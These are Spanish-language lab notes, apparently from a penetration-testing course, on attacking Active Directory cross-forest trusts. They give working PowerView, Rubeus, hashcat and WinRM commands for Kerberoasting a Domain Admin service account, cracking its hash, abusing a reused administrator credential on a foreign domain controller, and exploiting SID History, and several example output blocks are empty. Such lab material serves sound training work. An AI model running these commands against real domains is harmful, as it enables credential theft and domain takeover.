Attacking Domain Trusts — Cross-Forest Trust Abuse (Windows)
Se exploran ataques cross-forest cuando existe un inbound o bidirectional trust entre dos dominios/forests.
El objetivo es obtener acceso administrativo en un dominio externo aprovechando SPNs, Kerberoasting, contraseñas reutilizadas, miembros de grupos extranjeros y SID History.
🔑 1. Enumerar cuentas con SPNs (Kerberoasting)
PowerView permite listar cuentas con SPN en un dominio remoto:
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
Ejemplo de salida:

Una cuenta con SPN puede ser Kerberoastable.
Si pertenece a Domain Admins, obtener su hash permite control total sobre el dominio.
🔍 Verificar membresía del usuario con SPN
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof
Salida:

Pertenece a Domain Admins
🛠️ 2. Kerberoasting cross-forest con Rubeus
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
Salida relevante:

El hash obtenido puede ser crackeado offline con Hashcat para acceder a la cuenta administrativa.
Crackear el Hash
hashcat -m 13100 mssqlsvc_hash.txt /usr/share/wordlists/rockyou.txt

🔄 3. Contraseñas reutilizadas & membresía de grupos
-
Bidirectional trust con admins de la misma compañía.
-
Contraseñas repetidas entre dominios A y B.
-
Admins de dominio A como miembros de Administrators o grupos de dominio local en B.
🔎 Enumerar miembros extranjeros en grupos
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Salida:
GroupDomain : FREIGHTLOGISTICS.LOCAL
GroupName : Administrators
MemberDomain : FREIGHTLOGISTICS.LOCAL
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGISTICS,DC=LOCAL
Convertir SID a nombre:
Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
Resultado:
INLANEFREIGHT\administrator
🖥️ Conectar vía WinRM a DC del dominio externo
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
Verificación:
whoami
Salida:
inlanefreight\administrator
Hemos autenticado a un DC en FREIGHTLOGISTICS usando la cuenta Administrador de INLANEFREIGHT gracias al bidirectional forest trust.
🧬 4. SID History Abuse — Cross-Forest
Si un usuario es migrado entre forests y no se habilita SID filtering, puede mantener privilegios del forest original.
Ejemplo:
-
Usuario
jjonesmigrado de INLANEFREIGHT.LOCAL → CORP.LOCAL -
SID History incluye SID de INLANEFREIGHT
-
Acceso administrativo en CORP.LOCAL mantiene privilegios en INLANEFREIGHT.LOCAL
flowchart TD
A[INLANEFREIGHT.LOCAL] -->|Forest Trust| B[CORP.LOCAL]
A --> C[jjones - Admin]
C --> D[SID History migrado a CORP.LOCAL]
D --> B
B --> E[jjones mantiene privilegios Admin en INLANEFREIGHT.LOCAL]
SID History abuse permite mantener privilegios entre forests sin necesidad de contraseñas.
🌐 Resumen de ataques cross-forest
| Ataque | Herramienta | Requisito | Impacto |
|---|---|---|---|
| Kerberoasting | Rubeus | SPN en dominio externo | Hash crack → acceso Admin |
| Contraseña reutilizada | PowerView / manual | Mismo usuario en ambos dominios | Acceso Admin instantáneo |
| Grupo extranjero | PowerView | Usuario Admin en otro forest | Acceso a recursos via grupos |
| SID History abuse | Manual / scripts | SID no filtrada | Mantener privilegios cross-forest |
🔜 Próximos pasos
Ataques cross-forest desde Linux.
Incluye técnicas similares usando Impacket, enumeración de trusts y escalada de privilegios.